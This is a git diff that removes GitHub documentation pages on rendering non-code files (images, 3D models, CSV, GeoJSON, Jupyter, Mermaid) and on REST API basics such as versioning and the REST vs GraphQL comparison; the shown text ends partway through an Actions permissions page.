/articles/working-with-jupyter-notebook-files-on-github - - /github/managing-files-in-a-repository/working-with-jupyter-notebook-files-on-github - - /github/managing-files-in-a-repository/working-with-non-code-files/working-with-jupyter-notebook-files-on-github - - /github/managing-files-in-a-repository/working-with-non-code-files -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -shortTitle: Working with non-code files ---- - -## Rendering and diffing images - -{% data variables.product.github %} can display several common image formats, including PNG, JPG, GIF, PSD, and SVG. In addition to simply displaying them, there are several ways to compare differences between versions of those image formats. - -> [!NOTE] -> * {% data variables.product.prodname_dotcom %} does not support comparing the differences between PSD files. -> * If you are using the Firefox browser, SVGs on {% data variables.product.prodname_dotcom %} may not render. - -### Viewing images - -You can directly browse and view images in your repository on {% data variables.product.prodname_dotcom %}. - -SVGs don't currently support inline scripting or animation. - -### Viewing differences - -You can visually compare images in three different modes: [2-up](#2-up), [swipe](#swipe), and [onion skin](#onion-skin). - -#### 2-up - -**2-up** is the default mode; it gives you a quick glimpse of both images. In addition, if the image has changed size between versions, the actual dimension change is displayed. This should make it very apparent when things are resized, such as when assets are upgraded to higher resolutions. - -![Screenshot of a diff for an image in 2-up mode. The larger image on the right is outlined in green. The image on the left is outlined in red.](/assets/images/help/repository/images-2up-view.png) - -#### Swipe - -**Swipe** lets you view portions of your image side by side. Not sure if colors shifted between different versions? Drag the swipe slider over the area in question and compare the pixels for yourself. - -![Screenshot of a diff for an image in swipe mode. A line down the center divides the image into new, outlined in green, and old, outlined in red.](/assets/images/help/repository/images-swipe-view.png) - -#### Onion skin - -**Onion Skin** really comes in handy when elements move around by small, hard to notice amounts. Did an icon shift two pixels to the left? Drag the opacity slider back a bit and notice if things move around. - -## 3D File Viewer - -{% data variables.product.github %} can host and render 3D files with the _.stl_ extension. - -When looking directly at an STL file on {% data variables.product.github %} you can: - -* Click and drag to spin the model. -* Right click and drag to translate the view. -* Scroll to zoom in and out. -* Click the different view modes to change the view. - -### Fixing slow performance - -If you see {% octicon "info" aria-label="the info icon" %} in the corner of the viewer, with the tooltip "WebGL powered hardware support not available," then the WebGL technology is not available on your browser. - -WebGL is necessary to take advantage of your computer's hardware to its fullest. We recommend you try browsers like [Chrome](https://www.google.com/intl/en/chrome/browser/) or [Firefox](https://www.mozilla.org/en-US/firefox/new/), which ship with WebGL enabled. - -### Error: "Unable to display" - -If your model is invalid, GitHub may not be able to display the file. In addition, files that are larger than 10 MB are too big for GitHub to display. - -### Embedding your model elsewhere - -To display your 3D file elsewhere on the internet, modify this template and place it on any HTML page that supports JavaScript: - -```html - -``` - -For example, if your model's URL is [`github.com/skalnik/secret-bear-clip/blob/master/stl/clip.stl`](https://github.com/skalnik/secret-bear-clip/blob/master/stl/clip.stl), your embed code would be: - -```html - -``` - -By default, the embedded renderer is 420 pixels wide by 620 pixels high, but you can customize the output by passing height and width variables as parameters at the end of the URL, such as `?height=300&width=500`. - -> [!NOTE] -> `ref` can be a branch or the hash to an individual commit (like `2391ae`). - -### Rendering in Markdown - -You can embed ASCII STL syntax directly in Markdown. For more information, see [AUTOTITLE](/get-started/writing-on-github/working-with-advanced-formatting/creating-diagrams#creating-stl-3d-models). - -## Rendering CSV and TSV data - -{% data variables.product.prodname_dotcom %} supports rendering tabular data in the form of _.csv_ (comma-separated) and ._tsv_ (tab-separated) files. - -![Screenshot of a rendered CSV file, with data shown in a table format.](/assets/images/help/repository/rendered-csv.png) - -When viewed, any _.csv_ or _.tsv_ file committed to a repository on {% data variables.product.prodname_dotcom %} automatically renders as an interactive table, complete with headers and row numbering. By default, we'll always assume the first row is your header row. - -You can link to a particular row by clicking the row number, or select multiple rows by holding down the shift key. Just copy the URL and send it to a friend. - -### Searching data - -If you want to find a certain value in your dataset, you can start typing in the search bar directly above the file. The rows will filter automatically. - -### Handling errors - -Occasionally, you may discover that your CSV or TSV file isn't rendering. In those instances, a message appears above your raw text, suggesting what the error may be. - -![Screenshot of a text view of a CSV file. In the header, a message points out an error: "No commas found in this CSV file in line 0."](/assets/images/help/repository/csv-render-error.png) - -Common errors include: - -* Mismatched column counts. You must have the same number of separators in each row, even if the cell is blank -* Exceeding the file size. Our rendering only works for files up to 512KB. Anything bigger than that slows down the browser. -* Using unsupported delimiters, such as semicolons instead of commas. - -## Rendering PDF documents - -{% data variables.product.prodname_dotcom %} supports rendering of PDF documents. - -Currently, links within PDFs are ignored. - -## Rendering differences in prose documents - -Commits and pull requests that include prose documents have the ability to represent those documents with _source_ and _rendered_ views. - -The source view shows the raw text that has been typed, while the rendered -view shows how that text would look once it's rendered on {% data variables.product.github %}. For example, -this might be the difference between showing `**bold**` in Markdown, and **bold** in the rendered view. - -Prose rendering is supported for rendered documents supported by [github/markup](https://github.com/github/markup): - -* Markdown -* AsciiDoc -* Textile -* ReStructuredText -* Rdoc -* Org -* Creole -* MediaWiki -* Pod - -To see the changes made to the document as part of a commit, click {% octicon "file" aria-label="Display the rich diff" %}. - -![Screenshot of the diff for a Markdown file. In the header of the file, a file icon is outlined in dark orange.](/assets/images/help/repository/rendered-prose-diff.png) - -This "rich diff" highlights the code that has been added and removed. - -![Screenshot of the diff for a Markdown file. The old text, "@octo-org/core", is struck out with a red background. The new text has a green background.](/assets/images/help/repository/rendered-prose-changes.png) - -### Disabling Markdown rendering - -{% data reusables.repositories.disabling-markdown-rendering %} - -### Visualizing attribute changes - -We provide a tooltip describing changes to attributes that, unlike words, would not otherwise be visible in the rendered document. For example, if a link URL changes from one website to another, we'd show a tooltip like this: "href: /octo-org-repo/blob/CONTRIBUTING -> /octo-org/octo-repo/blob/docs/CONTRIBUTING." - -![Screenshot of the diff for a Markdown file. The tooltip over the "CONTRIBUTING file" link contains the URL changes from the example above.](/assets/images/help/repository/prose-diff-attributes.png) - -### Commenting on changes - -[Commit comments](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request) can only -be added to files within the _source_ view, on a line-by-line basis. - -### Linking to headers - -As with [other rendered prose documents](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes), -hovering over a header in your document creates a link icon. You can link readers -of your rendered prose diff to specific sections. - -### Viewing complex diffs - -Some pull requests involve a large number of changes with large, complex documents. When the changes take too long to analyze, {% data variables.product.github %} can't always produce a rendered view of the changes. If this happens, you'll see an error message when you click the rendered button. - -You can still use the source view to analyze and comment on changes. - -### Viewing HTML elements - -We don't directly support rendered views of commits to HTML documents. Some formats, such as Markdown, let you embed arbitrary HTML in a document. When these documents are shown on {% data variables.product.github %}, some of that embedded HTML can be shown in a preview, while some (like an embedded YouTube video) cannot. - -In general, rendered views of changes to a document containing embedded HTML will show changes to the elements that are supported in {% data variables.product.github %}'s view of the document. Changes to documents containing embedded HTML should always be reviewed in both the rendered and source views for completeness. - -## Mapping GeoJSON/TopoJSON files on {% data variables.product.prodname_dotcom %} - -{% data variables.product.github %} supports rendering GeoJSON and TopoJSON map files within {% data variables.product.github %} repositories. Commit the file as you would normally using a `.geojson` or `.topojson` extension. Files with a `.json` extension are also supported, but only if `type` is set to `FeatureCollection`, `GeometryCollection`, or `topology`. Then, navigate to the path of the GeoJSON/TopoJSON file on {% data variables.product.github %}. - -### Geometry types - -Maps on {% data variables.product.github %} use [Leaflet.js](http://leafletjs.com) and support all the geometry types outlined in [the geoJSON spec](http://www.geojson.org/geojson-spec.html) (Point, LineString, Polygon, MultiPoint, MultiLineString, MultiPolygon, and GeometryCollection). TopoJSON files should be type "Topology" and adhere to the [TopoJSON spec](https://github.com/mbostock/topojson/wiki/Specification). - -{% ifversion geoJSON-with-MapBox %} - -### Styling features - -You can customize the way features are displayed, such as specifying a particular color or adding a descriptive icon, by passing additional metadata within the GeoJSON object's properties. The options are: - -* `marker-size` - `small`, `medium`, or `large` -* `marker-color` - valid RGB hex color -* `marker-symbol` - an icon ID from [the Maki project](https://mapbox.com/maki/) or a single alphanumeric character (a-z or 0-9). -* `stroke` - color of a polygon edge or line (RGB) -* `stroke-opacity` - opacity of a polygon edge or line (0.0 - 1.0) -* `stroke-width` - width of a polygon edge or line -* `fill` - the color of the interior of a polygon (GRB) -* `fill-opacity` - the opacity of the interior of a polygon (0.0-1.0) - -See [version 1.1.0 of the open simplestyle spec](https://github.com/mapbox/simplestyle-spec/tree/master/1.1.0) for more information. -{% endif %} - -### Embedding your map elsewhere - -Want to make your GeoJSON map available someplace other than {% data variables.product.github %}? Simply modify this template, and place it in any HTML page that supports JavaScript (for example, [{% data variables.product.prodname_pages %}](https://pages.github.com)): - -```html - -``` - -For example, if your map's URL is [github.com/benbalter/dc-wifi-social/blob/master/bars.geojson](https://github.com/benbalter/dc-wifi-social/blob/master/bars.geojson), your embed code would be: - -```html - -``` - -By default, the embedded map 420px x 620px, but you can customize the output by passing height and width variables as parameters at the end, such as `?height=300&width=500`. - -> [!NOTE] -> `ref` can be a branch or the hash to an individual commit (like `2391ae`). - -### Mapping in Markdown - -You can embed GeoJSON and TopoJSON directly in Markdown. For more information, see [AUTOTITLE](/get-started/writing-on-github/working-with-advanced-formatting/creating-diagrams#creating-geojson-and-topojson-maps). - -{% data reusables.advanced-formatting.administrator-must-enable-mapping %} - -### Clustering - -If your map contains a large number of markers (roughly over 750), GitHub will automatically cluster nearby markers at higher zoom levels. Simply click the cluster or zoom in to see individual markers. - -### Something's up with the underlying map - -The underlying map data (street names, roads, etc.) are driven by [OpenStreetMap](http://www.openstreetmap.org/), a collaborative project to create a free editable map of the world. If you notice something's not quite right, since it's open source, simply [sign up](https://www.openstreetmap.org/user/new) and submit a fix. - -### Troubleshooting GeoJSON/TopoJSON files - -If you're having trouble rendering GeoJSON files, ensure you have a valid GeoJSON file by running it through a [GeoJSON linter](http://geojsonlint.com/). If your points aren't appearing where you'd expect (for example, in the middle of the ocean), it's likely that the data is in a projection which is currently unsupported. Currently, {% data variables.product.github %} only supports the `urn:ogc:def:crs:OGC:1.3:CRS84` projection. - -Additionally, if your `.geojson` file is especially large (over 10 MB), it is not possible to render within the browser. If that's the case, you'll generally see a message that says we can't show files that large. - -It may still be possible to render the data by converting the `.geojson` file to [TopoJSON](https://github.com/mbostock/topojson), a compression format that, in some cases, can reduce filesize by up to 80%. Of course, you can always break the file into smaller chunks (such as by state or by year), and store the data as multiple files within the repository. - -### Further reading about GeoJSON/TopoJSON - -{% ifversion geoJSON-with-MapBox %} -* [Leaflet.js documentation](https://leafletjs.com/) -* [MapBox marker-styling documentation](http://www.mapbox.com/developers/simplestyle/) -{%- else %} -* [Azure Maps documentation](https://docs.microsoft.com/en-us/azure/azure-maps/) -{%- endif %} -* [TopoJSON Wiki](https://github.com/mbostock/topojson/wiki) - -## Working with Jupyter Notebook files on {% data variables.product.prodname_dotcom %} - -When you add Jupyter Notebook or IPython Notebook files with a _.ipynb_ extension on {% data variables.product.prodname_dotcom %}, they will render as static HTML files in your repository. - -The interactive features of the notebook, such as custom JavaScript plots, will not work in your repository on {% data variables.product.prodname_dotcom %}. For an example, see [_Linking and Interactions.ipynb_](https://github.com/bokeh/bokeh-notebooks/blob/main/tutorial/06%20-%20Linking%20and%20Interactions.ipynb). - -To view your Jupyter notebook with JavaScript content rendered or to share your notebook files with others you can use [nbviewer](https://nbviewer.jupyter.org/). For an example, see [_Linking and Interactions.ipynb_](https://nbviewer.jupyter.org/github/bokeh/bokeh-notebooks/blob/main/tutorial/06%20-%20Linking%20and%20Interactions.ipynb) rendered on nbviewer. - -To view a fully interactive version of your Jupyter Notebook, you can set up a notebook server locally. For more information, see [Jupyter's official documentation](http://jupyter.readthedocs.io/en/latest/index.html). - -### Troubleshooting Jupyter Notebook files - -If you're having trouble rendering Jupyter Notebook files in static HTML, you can convert the file locally on the command line by using the [`nbconvert` command](https://github.com/jupyter/nbconvert): - -```shell -jupyter nbconvert --to html NOTEBOOK-NAME.ipynb -``` - -### Further reading about Jupyter Notebook - -* [Jupyter Notebook's GitHub repository](https://github.com/jupyter/jupyter_notebook) -* [Gallery of Jupyter Notebooks](https://github.com/jupyter/jupyter/wiki) - -## Displaying Mermaid files on {% data variables.product.prodname_dotcom %} - -{% data variables.product.github %} supports rendering Mermaid files within repositories. Commit the file as you would normally using a `.mermaid` or `.mmd` extension. Then, navigate to the path of the Mermaid file on {% data variables.product.prodname_dotcom %}. - -For example, if you add a `.mmd` file with the following content to your repository: - -```text -graph TD - A[Friend's Birthday] -->|Get money| B(Go shopping) - B --> C{Let me think} - C -->|One| D["Cool
Laptop"] - C -->|Two| E[iPhone] - C -->|Three| F[fa:fa-car Car] -``` - -When you view the file in the repository, it is rendered as a flow chart. - -![Screenshot of a flow chart. Two arrows point from a box labeled "A" to boxes labeled "B" and "C," and two more arrows point from "B" and "C" to "D."](/assets/images/help/repository/mermaid-file-diagram.png) - -### Troubleshooting Mermaid files - -If your chart does not render at all, verify that it contains valid Mermaid Markdown syntax by checking your chart with the [Mermaid live editor](https://mermaid.live/edit). - -If the chart displays, but does not appear as you'd expect, you can create a new [{% data variables.product.prodname_github_community %} discussion](https://github.com/orgs/community/discussions/categories/general), and add the `Mermaid` label. - -#### Known issues - -* Sequence diagram charts frequently render with additional padding below the chart, with more padding added as the chart size increases. This is a known issue with the Mermaid library. -* Actor nodes with popover menus do not work as expected within sequence diagram charts. This is due to a discrepancy in how JavaScript events are added to a chart when the Mermaid library's API is used to render a chart. -* Not all charts are a11y compliant. This may affect users who rely on a screen reader. - -### Mermaid in Markdown - -You can embed Mermaid syntax directly in Markdown. For more information, see [AUTOTITLE](/get-started/writing-on-github/working-with-advanced-formatting/creating-diagrams#creating-mermaid-diagrams). - -### Further reading about Mermaid - -* [Mermaid.js documentation](https://mermaid-js.github.io/mermaid/#/) -* [Mermaid.js live editor](https://mermaid.live/edit) diff --git a/content/rest/README.md b/content/rest/README.md deleted file mode 100644 index b542a0870d2e..000000000000 --- a/content/rest/README.md +++ /dev/null @@ -1,9 +0,0 @@ -# REST - The `/content/rest` directory is where the GitHub REST API docs live! - - * The `/content/rest/about-the-rest-api`, `/content/rest/guides` and `/content/rest/using-the-rest-api` directories contain regular articles. These are human-editable. -* The remaining directories contain an article for each group of endpoints in the GitHub REST API. Most of the content in this directory is rendered using `include` tags. - - The content rendered by `include` tags is sourced from the `/src/rest/data` directory, which is automatically generated from the API source code internally in GitHub, and should not be edited by a human. For more information, see the [`/src/rest/README.md`](/src/rest/README.md). - - **We cannot accept changes to content that is rendered by `include` tags. However, you can open an issue describing the changes you would like to see.** diff --git a/content/rest/about-the-rest-api/about-the-openapi-description-for-the-rest-api.md b/content/rest/about-the-rest-api/about-the-openapi-description-for-the-rest-api.md deleted file mode 100644 index c551c6263cd3..000000000000 --- a/content/rest/about-the-rest-api/about-the-openapi-description-for-the-rest-api.md +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: About the OpenAPI description for the REST API -shortTitle: OpenAPI description -intro: 'The {% data variables.product.github %} REST API is fully described in an OpenAPI compliant document.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API -redirect_from: - - /rest/overview/openapi-description - - /rest/overview/about-the-openapi-description-for-the-rest-api ---- - -## About OpenAPI - -OpenAPI is a specification for describing REST API interfaces. It describes the API without requiring access to the source code or additional documentation. The specification is both human and machine readable. For more information, see [the OpenAPI specification documentation](https://spec.openapis.org/oas/v3.1.0). - -## About {% data variables.product.company_short %}'s OpenAPI description - -{% data variables.product.company_short %}'s OpenAPI description of the REST API is publicly available. You can find the description in the open source [github/rest-api-description](https://github.com/github/rest-api-description) repository. - -{% data variables.product.company_short %} provides both 3.0 and 3.1 OpenAPI descriptions. - -For each description, there is a version for each product: {% data variables.product.prodname_free_user %}/{% data variables.product.prodname_pro %}/{% data variables.product.prodname_team %} (`api.github.com`), {% data variables.product.prodname_ghe_cloud %} (`ghec`), and each version of {% data variables.product.prodname_ghe_server %} (`ghes-X.X`). - -For each product, if date-based versioning is supported, there is also a description for each date-based version. For more information, see [AUTOTITLE](/rest/overview/api-versions). - -Each description is available in a bundled or in a dereferenced format. The bundled format uses `$ref` to refer to OpenAPI components that are shared between endpoints. The dereferenced format includes the fully expanded description. - -## Using the {% data variables.product.company_short %} OpenAPI description - -Because the OpenAPI description is machine readable, you can use it to do things like: - -* Generate libraries to facilitate using the REST API -* Validate and test an integration that uses the REST API -* Explore and interact with the REST API using third-party tools, such as Insomnia or Postman - -For example, {% data variables.product.company_short %} uses the OpenAPI description to generate the Octokit SDKs. {% data variables.product.company_short %} also uses the OpenAPI description to generate the REST API reference documentation for each endpoint. diff --git a/content/rest/about-the-rest-api/about-the-rest-api.md b/content/rest/about-the-rest-api/about-the-rest-api.md deleted file mode 100644 index 96f840a4ba65..000000000000 --- a/content/rest/about-the-rest-api/about-the-rest-api.md +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: About the REST API -shortTitle: About the REST API -intro: 'Get oriented to the REST API documentation.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API -redirect_from: - - /rest/overview/about-the-rest-api ---- - -You can use {% data variables.product.company_short %}'s API to build scripts and applications that automate processes, integrate with {% data variables.product.company_short %}, and extend {% data variables.product.company_short %}. For example, you could use the API to triage issues, build an analytics dashboard, or manage releases. - -Each REST API endpoint is documented individually, and the endpoints are categorized by the resource that they primarily affect. For example, you can find endpoints relating to issues in [AUTOTITLE](/rest/issues). - -## Getting started with the REST API - -**If you are new to REST APIs**, you may find it helpful to refer to the Quickstart or Getting Started guide for an introduction. For more information, see: - -* [AUTOTITLE](/rest/quickstart) -* [AUTOTITLE](/rest/guides/getting-started-with-the-rest-api) - -**If you are familiar with REST APIs** but new to {% data variables.product.company_short %}'s REST API, you may find it helpful to refer to the authentication documentation. For more information, see: - -* [AUTOTITLE](/rest/overview/authenticating-to-the-rest-api) - -**If you are building scripts or applications** that use the REST API, you may find some of the following guides helpful. For examples of scripting with the REST API, see: - -* [AUTOTITLE](/rest/guides/scripting-with-the-rest-api-and-javascript) -* [AUTOTITLE](/rest/guides/scripting-with-the-rest-api-and-ruby) -* [AUTOTITLE](/apps/creating-github-apps/writing-code-for-a-github-app/building-a-github-app-that-responds-to-webhook-events) -* [AUTOTITLE](/apps/creating-github-apps/writing-code-for-a-github-app/building-a-cli-with-a-github-app) -* [AUTOTITLE](/webhooks/using-webhooks/automatically-redelivering-failed-deliveries-for-a-repository-webhook) - -For a list of libraries to facilitate scripting with the REST API, see [AUTOTITLE](/rest/overview/libraries-for-the-rest-api). - -If you are building scripts or applications that use the REST API, you might also be interested in using webhooks to get notified about events or a {% data variables.product.prodname_github_app %} to access resources on behalf of a user or in an organization. For more information, see [AUTOTITLE](/webhooks/about-webhooks) and [AUTOTITLE](/apps/creating-github-apps/about-creating-github-apps/deciding-when-to-build-a-github-app). - -## Further reading - -* [AUTOTITLE](/rest/overview/comparing-githubs-rest-api-and-graphql-api) -* [AUTOTITLE](/rest/guides/best-practices-for-using-the-rest-api) -* [AUTOTITLE](/rest/overview/keeping-your-api-credentials-secure) -* [AUTOTITLE](/rest/overview/troubleshooting-the-rest-api) diff --git a/content/rest/about-the-rest-api/api-versions.md b/content/rest/about-the-rest-api/api-versions.md deleted file mode 100644 index dccb031bd9dd..000000000000 --- a/content/rest/about-the-rest-api/api-versions.md +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: API Versions -shortTitle: API Versions -intro: Learn how to specify which REST API version to use whenever you make a request to the REST API. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /rest/overview/api-versions ---- - -## About API versioning - -{% data reusables.rest-api.about-api-versions %} - -{% ifversion ghes %} - -## About {% data variables.product.prodname_ghe_server %} versioning and REST API versioning - -{% data variables.product.prodname_ghe_server %} versions are decoupled from REST API versions. You can upgrade your {% data variables.product.prodname_ghe_server %} version but keep the same REST API version, as long as the API version is included in the {% data variables.product.prodname_ghe_server %} version. Similarly, you can upgrade your REST API version without updating your {% data variables.product.prodname_ghe_server %} version, as long as the new REST API version you choose is available for your {% data variables.product.prodname_ghe_server %} version. - -The {% data variables.product.prodname_ghe_server %} release notes will state when a REST API version is no longer supported. For more information, see [AUTOTITLE](/admin/release-notes). - -{% endif %} - -## Specifying an API version - -You should use the `X-GitHub-Api-Version` header to specify an API version. For example: - -```shell -curl {% data reusables.rest-api.version-header %} https://api.github.com/zen -``` - -Requests without the `X-GitHub-Api-Version` header will default to use the `{{ initialRestVersioningReleaseDate }}` version. - -If you specify an API version that is no longer supported, you will receive a `400` error. - -## Upgrading to a new API version - -Before upgrading to a new REST API version, you should read the changelog of breaking changes for the new API version to understand what breaking changes are included and to learn more about how to upgrade to that specific API version. For more information, see [AUTOTITLE](/rest/overview/breaking-changes). - -When you update your integration to specify the new API version in the `X-GitHub-Api-Version` header, you'll also need to make any changes required for your integration to work with the new API version. - -Once your integration is updated, test your integration to verify that it works with the new API version. - -## Supported API versions - -The following REST API versions are currently supported: - -{% for apiVersion in allVersions[currentVersion].apiVersions %} -{{ apiVersion }} -{% endfor %} - -You can also make an API request to get all of the supported API versions. For more information, see [AUTOTITLE](/rest/meta/meta#get-all-api-versions). diff --git a/content/rest/about-the-rest-api/breaking-changes.md b/content/rest/about-the-rest-api/breaking-changes.md deleted file mode 100644 index 151b02462eac..000000000000 --- a/content/rest/about-the-rest-api/breaking-changes.md +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: Breaking changes -shortTitle: Breaking changes -intro: Learn about breaking changes that were introduced in each REST API version. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /rest/overview/breaking-changes ---- - -## About breaking changes in the REST API - -{% data reusables.rest-api.about-api-versions %} - -For more information about API versions, see [AUTOTITLE](/rest/overview/api-versions). - -## Upgrading to a new API version - -Before upgrading to a new REST API version, you should read the section on this page that corresponds to the new API version to understand what breaking changes are included and to learn more about how to upgrade to that API version. - -When you update your integration to specify the new API version in the `X-GitHub-Api-Version` header, you'll also need to make any changes required for your integration to work with the new API version. - -Once your integration is updated, test your integration to verify that it works with the new API version. - -## Breaking changes for {{ initialRestVersioningReleaseDate }} - -Version `{{ initialRestVersioningReleaseDate }}` is the first version of the {% data variables.product.github %} REST API after date-based versioning was introduced. This version does not include any breaking changes. diff --git a/content/rest/about-the-rest-api/comparing-githubs-rest-api-and-graphql-api.md b/content/rest/about-the-rest-api/comparing-githubs-rest-api-and-graphql-api.md deleted file mode 100644 index 1efab397e231..000000000000 --- a/content/rest/about-the-rest-api/comparing-githubs-rest-api-and-graphql-api.md +++ /dev/null @@ -1,84 +0,0 @@ ---- -title: Comparing GitHub's REST API and GraphQL API -shortTitle: Comparing GitHub's APIs -intro: 'Learn about {% data variables.product.github %}''s APIs to extend and customize your {% data variables.product.github %} experience.' -redirect_from: - - /v3/versions - - /articles/getting-started-with-the-api - - /github/extending-github/getting-started-with-the-api - - /developers/overview/about-githubs-apis - - /rest/overview/about-githubs-apis - - /rest/overview/comparing-githubs-rest-api-and-graphql-api -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API ---- - -## About {% data variables.product.company_short %}'s APIs - -{% data variables.product.company_short %} provides two APIs: a REST API and a GraphQL API. You can interact with both APIs using {% data variables.product.prodname_cli %}, curl, the official Octokit libraries, and third party libraries. Occasionally, a feature may be supported on one API but not the other. - -You should use the API that best aligns with your needs and that you are most comfortable using. You don't need to exclusively use one API over the other. Node IDs let you move between the REST API and GraphQL API. For more information, see [AUTOTITLE](/graphql/guides/using-global-node-ids). - -This article discusses the benefits of each API. For more information about the GraphQL API, see [AUTOTITLE](/graphql/overview/about-the-graphql-api). For more information about the REST API, see [AUTOTITLE](/rest/about-the-rest-api/about-the-rest-api). - -## Choosing the GraphQL API - -The GraphQL API returns exactly the data that you request. GraphQL also returns the data in a pre-known structure based on your request. In contrast, the REST API returns more data than you requested and returns it in a pre-determined structure. You can also accomplish the equivalent of multiple REST API request in a single GraphQL request. The ability to make fewer requests and fetch less data makes GraphQL appealing to developers of mobile applications. - -For example, to get the {% data variables.product.github %} login of ten of your followers, and the login of ten followers of each of your followers, you can send a single request like: - -```graphql -{ - viewer { - followers(first: 10) { - nodes { - login - followers(first: 10) { - nodes { - login - } - } - } - } - } -} -``` - -The response will be a JSON object that follows the structure of your request. - -In contrast, to get this same information from the REST API, you would need to first make a request to `GET /user/followers`. The API would return the login of each follower, along with other data about the followers that you don't need. Then, for each follower, you would need to make a request to `GET /users/{username}/followers`. In total, you would need to make 11 requests to get the same information that you could get from a single GraphQL request, and you would receive excess data. - -## Choosing the REST API - -Because REST APIs have been around for longer than GraphQL APIs, some developers are more comfortable with the REST API. Since REST APIs use standard HTTP verbs and concepts, many developers are already familiar with the basic concepts to use the REST API. - -For example, to create an issue in the `octocat/Spoon-Knife` repository, you would need to send a request to `POST /repos/octocat/Spoon-Knife/issues` with a JSON request body: - -```json -{ - "title": "Bug with feature X", - "body": "If you do A, then B happens" -} -``` - -In contrast, to make an issue using the GraphQL API, you would need to get the node ID of the `octocat/Spoon-Knife` repository and then send a request like: - -```graphql -mutation { - createIssue( - input: { - repositoryId: "MDEwOlJlcG9zaXRvcnkxMzAwMTky" - title: "Bug with feature X" - body: "If you do A, then B happens"} - ) { - issue { - number - url - } - } -} -``` diff --git a/content/rest/about-the-rest-api/index.md b/content/rest/about-the-rest-api/index.md deleted file mode 100644 index 1744f2df36e2..000000000000 --- a/content/rest/about-the-rest-api/index.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: About the REST API -intro: 'Learn more about the {% data variables.product.prodname_dotcom %} REST API and what you can do with it.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API -children: - - /about-the-rest-api - - /comparing-githubs-rest-api-and-graphql-api - - /api-versions - - /breaking-changes - - /about-the-openapi-description-for-the-rest-api -autogenerated: rest ---- - - diff --git a/content/rest/actions/artifacts.md b/content/rest/actions/artifacts.md deleted file mode 100644 index e92dca99f13a..000000000000 --- a/content/rest/actions/artifacts.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: REST API endpoints for GitHub Actions artifacts -allowTitleToDifferFromFilename: true -shortTitle: Artifacts -intro: >- - Use the REST API to interact with artifacts in {% data - variables.product.prodname_actions %}. -topics: - - API -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -autogenerated: rest ---- - -## About artifacts in {% data variables.product.prodname_actions %} - -You can use the REST API to download, delete, and retrieve information about workflow artifacts in {% data variables.product.prodname_actions %}. {% data reusables.actions.about-artifacts %} For more information, see [AUTOTITLE](/actions/using-workflows/storing-workflow-data-as-artifacts). - - diff --git a/content/rest/actions/cache.md b/content/rest/actions/cache.md deleted file mode 100644 index c29bce2489fb..000000000000 --- a/content/rest/actions/cache.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: REST API endpoints for GitHub Actions cache -allowTitleToDifferFromFilename: true -shortTitle: Cache -intro: >- - Use the REST API to interact with the cache for repositories in {% data - variables.product.prodname_actions %}. -topics: - - API -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -autogenerated: rest ---- - -## About the cache in {% data variables.product.prodname_actions %} - -You can use the REST API to query and manage the cache for repositories in {% data variables.product.prodname_actions %}. You can also install a {% data variables.product.prodname_cli %} extension to manage your caches from the command line. For more information, see [AUTOTITLE](/actions/using-workflows/caching-dependencies-to-speed-up-workflows#managing-caches). - - diff --git a/content/rest/actions/hosted-runners.md b/content/rest/actions/hosted-runners.md deleted file mode 100644 index cda1c6708a34..000000000000 --- a/content/rest/actions/hosted-runners.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: GitHub-hosted runners -shortTitle: GitHub-hosted runners -intro: Use the REST API to interact with {% data variables.product.prodname_dotcom %}-hosted runners in {% data variables.product.prodname_actions %}. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' -topics: - - API -autogenerated: rest -allowTitleToDifferFromFilename: true ---- - - diff --git a/content/rest/actions/index.md b/content/rest/actions/index.md deleted file mode 100644 index 53915d44d619..000000000000 --- a/content/rest/actions/index.md +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: REST API endpoints for GitHub Actions -shortTitle: Actions -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to interact with {% data variables.product.prodname_actions - %} for an organization or repository. -redirect_from: - - /v3/actions - - /rest/reference/actions -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API -children: - - /artifacts - - /cache - - /hosted-runners - - /oidc - - /permissions - - /secrets - - /self-hosted-runner-groups - - /self-hosted-runners - - /variables - - /workflow-jobs - - /workflow-runs - - /workflows -autogenerated: rest ---- - - diff --git a/content/rest/actions/oidc.md b/content/rest/actions/oidc.md deleted file mode 100644 index 3a47d0ece98e..000000000000 --- a/content/rest/actions/oidc.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: REST API endpoints for GitHub Actions OIDC -allowTitleToDifferFromFilename: true -shortTitle: OIDC -intro: 'Use the REST API to interact with JWTs for OIDC subject claims in {% data variables.product.prodname_actions %}.' -topics: - - API -versions: - fpt: '*' - ghec: '*' - ghes: '*' -autogenerated: rest ---- - -## About {% data variables.product.prodname_actions %} OIDC - -You can use the REST API to query and manage a customization template for an OpenID Connect (OIDC) subject claim. For more information, see [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect). - - diff --git a/content/rest/actions/permissions.md b/content/rest/actions/permissions.md deleted file mode 100644 index dc664fd5c7ae..000000000000 --- a/content/rest/actions/permissions.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: REST API endpoints for GitHub Actions permissions -allowTitleToDifferFromFilename: true -shortTitle: Permissions -intro: 